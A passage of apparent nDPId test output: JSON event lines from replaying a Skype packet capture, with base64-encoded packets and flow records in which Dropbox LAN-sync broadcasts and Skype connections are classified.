+00434{"flow_id":298,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2980,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":675962,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4DP9AAEAGHD7AqAEiR+4Hy8PaSU8uFQyfSF8fk4AYECraqgAAAQEICj4khYQDHKXChSHY3w=="} +00437{"flow_id":295,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2981,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":879543,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA85aBAAEAGpaPAqAEiTKehBsPXTzInl3b0mo2mjYAYECr+zAAAAQEICj4khk++obtETjjGVAMHb58="} +00427{"flow_id":298,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2982,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969772,"pkt_ts_usec":991059,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0AlhAAHMG8+hH7gfLwKgBIklPw9pIXx+TLhUMo4AQ\/8JJFwAAAQEICgMcpcY+JIWE"} +00438{"flow_id":297,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2985,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969773,"pkt_ts_usec":652921,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KGNAAEAGj7nAqAEiBfi63cPZeSJOVOlk1JnUs4AZECoYzwAAAQEICj4kiVIAAHDpAn7P43BvMd8="} +00438{"flow_id":296,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2988,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969773,"pkt_ts_usec":756074,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8q5ZAAEAGfaLAqAEiR+4Hy8PYSU+K+FIIJqKqBIAZECnrjAAAAQEICj4kibgDHKWz6MDF2eKkrLc="} +00438{"flow_id":295,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3004,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969774,"pkt_ts_usec":500525,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8HI5AAEAGbrbAqAEiTKehBsPXTzInl3b0mo2mjYAYECr4ggAAAQEICj4kjJm+obtETjjGVAMHb58="} +00600{"flow_id":291,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3007,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969774,"pkt_ts_usec":584948,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"0NQSxnP1PBXCt3IOCABFAACwbWhAAEAGOK7AqAEinTg1L8PWMD5iE\/U4s4ZWnYAYECl8sAAAAQEICj4kjOtiCpP\/ou083U4OUyKG5W39Rls52kHB4seHtGFWOjnxH9vL96zo7s\/hrhePc7yngjP78uPjgBCPNClMUrhUfbjHZM1vl72+27X8ItWoRr+cMWFEKEXMETqEyhRTKZ3N68tnVQztCI2VGGc5XDXqlMlRkcFBPVHkMJHGNR6XiHbo9Q=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3013,"source":"skype.pcap","alias":"nDPId-test","flow_id":300,"flow_packet_id":1,"flow_first_seen":1431969774806,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"76.167.161.6","src_port":50140,"dst_port":20274,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":300,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3013,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969774,"pkt_ts_usec":806959,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAwnFAAEAGyM7AqAEiTKehBsPcTzIA95PqAAAAALAC\/\/8TqQAAAgQFtAEDAwUBAQgKPiSNxwAAAAAEAgAA"} +01485{"flow_id":298,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3029,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969775,"pkt_ts_usec":664452,"pkt_caplen":842,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":842,"pkt_l4_len":808,"pkt":"0NQSxnP1PBXCt3IOCABFAAM8djRAAEAGsATAqAEiR+4Hy8PaSU8uFQyjSF8fk4AYECpvNQAAAQEICj4kkRsDHKXGUavdqK5jKMMSJd1aThF7FBKXUICAfMNWFhUmUxI0Tq84vrbku0g5Bx4GJkFifLaR+VJDd+xQMueYgdSOmzSizXPN6wIAQFcrsg18EZnlgZqkvX1wya1ra\/P8ikZD5J87cXK+UHuMBwjXGgkBe4osU++\/IXTumsPbQuL8DCeN877EODz9BoW3xUarWJUqzA\/j5MPZJc7lduck\/cfSybhRdJyeMFH9C8wmlj92USXfkU3WYeDhjcYUlD1iOuk9+rWcC+3nnfR2OuYKvn3kxTKrEd4b3o2bdK71sbLK\/\/MsOKQihY+yZK4AqOeMm9Yl4fBOqp1rRpZqQ9zBCofUHLvcubQbs20H1ekdSJl12ZlEEbFzd\/o2SU6Uq9nj77Nn1Ja8X7Ae0asCmfZO85WbUjnsQYfDJAagQw8yO\/owZ6F726YJRxhRWxUvIzbbD1D4zH90pizBiBH1iESRyyzoBySiMtaxh3t\/+q906FJLA9OQ+fiubRU6wQpUhBZkugMpmRVGR2Nf2iNMVk2gBzTbw0WXJ77WlgnXoSuZ0+iTWgwde\/8DMVtAp67TKvDGDeL63N7wb48UHwEcT00Ep3h+nqlfRnZGkzMYbcCyD60Q8jS4z\/d9dISk\/S7Gwx7OmNwIKZ3jQHA6nSjKOZ1WJun2ICFKv0fJysa9HE0Xw3qsnO7y75YYEDyMz\/gqIm\/Zum3EOBjpbkyzjimZODWcCjFu+R+kUfL3d1Z5kktQd458igMhgW7dzqZCXtNcBoNAONTFxOfmWt\/4ZbKtET4f0\/nXNkMO0ql6ay5cUFKsUQlHyOtM5gOPL\/tQaOW2bibD0yjXqWxatQSK3ftkEbHU0K5GcU7RGNosArNSZpeFyU5nsJ0kDM4FnwlaMhVvvACIgrayRKC6+MnomefZoSnoPP0cC4ica8qpyErvBLQxNNTWWvRgDpvNVv4tvkwCr+7kKasulPom\/7SE7jCRFuhSFgtVnuXJ\/Nh6ZN72EJ72zrie0NZ0MgCIrGnBLFp91z2jTIl7S1cD\/AgDSsPV6bU="} +01476{"flow_id":299,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3030,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969775,"pkt_ts_usec":664453,"pkt_caplen":842,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":842,"pkt_l4_len":808,"pkt":"0NQSxnP1PBXCt3IOCABFAAM805lAAEAG4YLAqAEiBfi63cPbeSJooXbGNKe39IAYECk3XQAAAQEICj4kkRsAAHD5NilX5D9QuJPVOF9F0MsWIyMCx8wmB7325OhhkpjZqNmQFVRZh2DcOK2Qkj3IWSkR+1ZEVcjNen9sPVTvumWqi2dkr+D+7\/jTE81PzAVkIHgOwxDV9PHcMhZJqHDkvV7S0T9aQY7j8dnm6dvWkAWBXYT5\/vYCQuY5Hq9XuvOiUo70rdoECScmATxus8wmyoIZqkY2go4nSDc8d6DDxh2u770\/HODI8yuJAcSz7sEyVBp1j6EoItTcfEsxFNeU3s+xFrpHJu4aDRiGGbvNBgP3e3+fXMWkfMW1ORg73le3VNf8kNg4YAGmxTMB5OwTsvcYXGJsLIuV06tk5Rmj2pvFLcGVJg9wFQIsfogrYj+OpFA+iWyta029Y8BUL0rF2o1bK7GsusGX+xgPqlB8zdwaptZzG0NRcFWaVickdNQ4mtjCHc5EWAal9HJKxXcdjjPtvK64tq5YzVKpJvwDYrlf8kYl9xxMk+DvHKWdIrtySzI8ziFJzRf9txNe7SOmQ20gTr+mAezfkg2A4Yk1EEmFpy77yRnOJqKMjZ8dVKdPeBXe1UWiDTWilEMiomx5RVYZIZIreqmcCn4JNpPewgfnmngE3uQjIJWconOKVwyckKVu\/1HCUXEGoVlbUiSuQPve449ne+PFJ1imorp1lEphPPkbfEJ\/wgiBKTmM6R\/CQOSQ2v3T4lM5n75LegxR0L5xglSmRwOdueKvl8jUVtvIo\/TA5vjqBGJFs7og7L0IG9AaoE0DWblqouRdMS6zAKhVxqjr4e\/h\/rjIQ3MD5qnbVVBC9Hpsiq0CVDo\/Qkh07wp15HNyoR1W+Bj6xHFo08QqnaUPmpDtWweIMDPYQgEBV4Cv0YyGH1qLqrK3aQVL8VWusSxvM3EtjgiC3OncHLFwOG+\/LQH47MH+TK7AD7PvsB6UjKl1j4wEHCd42G2JOh60HmuSBPu1NlwoQWq65mQeoNzV78+XnhbbOeJkKSuIgS3ARrm1xTDDkwbNEFW6RI31RtYx75ORhmcdLtIQGUSJ3dloJrW7BVI="} +00426{"flow_id":295,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3031,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969775,"pkt_ts_usec":664553,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tD5AAEAG1w3AqAEiTKehBsPXTzInl3b8mo2mjYARECp7OwAAAQEICj4kkRu+obtE"} +00426{"flow_id":299,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3036,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969775,"pkt_ts_usec":922485,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA02nhAAHIGq6sF+LrdwKgBInkiw9s0p7f0aKF5zoAQQMtm7QAAAQEICgAAcRs+JJEb"} +00426{"flow_id":298,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3038,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969776,"pkt_ts_usec":13251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0An9AAHMG88FH7gfLwKgBIklPw9pIXx+TLhUPq4AQ\/Lo9YgAAAQEICgMcpeQ+JJEb"} +00438{"flow_id":296,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3041,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969776,"pkt_ts_usec":181600,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89MFAAEAGNHfAqAEiR+4Hy8PYSU+K+FIIJqKqBIAZECniKAAAAQEICj4kkxwDHKWz6MDF2eKkrLc="} +00438{"flow_id":297,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3054,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969776,"pkt_ts_usec":284862,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8C5tAAEAGrIHAqAEiBfi63cPZeSJOVOlk1JnUs4AZECoOngAAAQEICj4kk4MAAHDpAn7P43BvMd8="} +00437{"flow_id":300,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3061,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969776,"pkt_ts_usec":480651,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAAC4GnURMp6EGwKgBIk8yw9wNTHkCAPeT66AScSCe6QAAAgQFrAQCCAq+oc+oPiSNxwEDAwc="} +00409{"flow_id":300,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3062,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969776,"pkt_ts_usec":480751,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo01NAAEAGuATAqAEiTKehBsPcTzIA95PrAAAAAFAEAABYdwAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3071,"source":"skype.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":1,"flow_first_seen":1431969776969,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01082{"flow_id":301,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3071,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969776,"pkt_ts_usec":969188,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISIDoAAEARltfAqAEi\/\/\/\/\/0RcRFwB\/vqceyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3071,"source":"skype.pcap","alias":"nDPId-test","flow_id":301,"flow_packet_id":1,"flow_first_seen":1431969776969,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3072,"source":"skype.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":1,"flow_first_seen":1431969776969,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01078{"flow_id":302,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3072,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969776,"pkt_ts_usec":969478,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISyoYAAEARKePAqAEiwKgB\/0RcRFwB\/jf1eyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3072,"source":"skype.pcap","alias":"nDPId-test","flow_id":302,"flow_packet_id":1,"flow_first_seen":1431969776969,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3077,"source":"skype.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":1,"flow_first_seen":1431969777184,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01082{"flow_id":303,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3077,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969777,"pkt_ts_usec":184649,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISsXEAAEARBWbAqAFc\/\/\/\/\/0RcRFwB\/v9VeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3077,"source":"skype.pcap","alias":"nDPId-test","flow_id":303,"flow_packet_id":1,"flow_first_seen":1431969777184,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3078,"source":"skype.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":1,"flow_first_seen":1431969777185,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01078{"flow_id":304,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3078,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969777,"pkt_ts_usec":185355,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAAISPVEAAEARtt7AqAFcwKgB\/0RcRFwB\/jyueyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3078,"source":"skype.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":1,"flow_first_seen":1431969777185,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00438{"flow_id":295,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3080,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969777,"pkt_ts_usec":541469,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8V4pAAEAGM7rAqAEiTKehBsPXTzInl3b0mo2mjYAZECrstQAAAQEICj4kmGW+obtETjjGVAMHb58="} +00438{"flow_id":296,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3088,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969780,"pkt_ts_usec":799033,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Ys5AAEAGxmrAqAEiR+4Hy8PYSU+K+FIIJqKqBIAZECnQKAAAAQEICj4kpRwDHKWz6MDF2eKkrLc="} +00439{"flow_id":297,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3089,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969781,"pkt_ts_usec":311956,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8UCxAAEAGZ\/DAqAEiBfi63cPZeSJOVOlk1JnUs4AZECr7BAAAAQEICj4kpxwAAHDpAn7P43BvMd8="} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":17,"flow_first_seen":1431969683498,"flow_last_seen":1431969716234,"flow_tot_l4_data_len":728,"flow_min_l4_data_len":20,"flow_max_l4_data_len":89,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":50070,"dst_port":40018,"l4_proto":"tcp","ndpi": {"proto":"Skype","breed":"Acceptable","category":"VoIP"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":17,"flow_first_seen":1431969683498,"flow_last_seen":1431969716234,"flow_tot_l4_data_len":728,"flow_min_l4_data_len":20,"flow_max_l4_data_len":89,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":50070,"dst_port":40018,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3090,"source":"skype.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":18,"flow_first_seen":1431969689470,"flow_last_seen":1431969717232,"flow_tot_l4_data_len":824,"flow_min_l4_data_len":20,"flow_max_l4_data_len":125,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":50076,"dst_port":40014,"l4_proto":"tcp","ndpi": 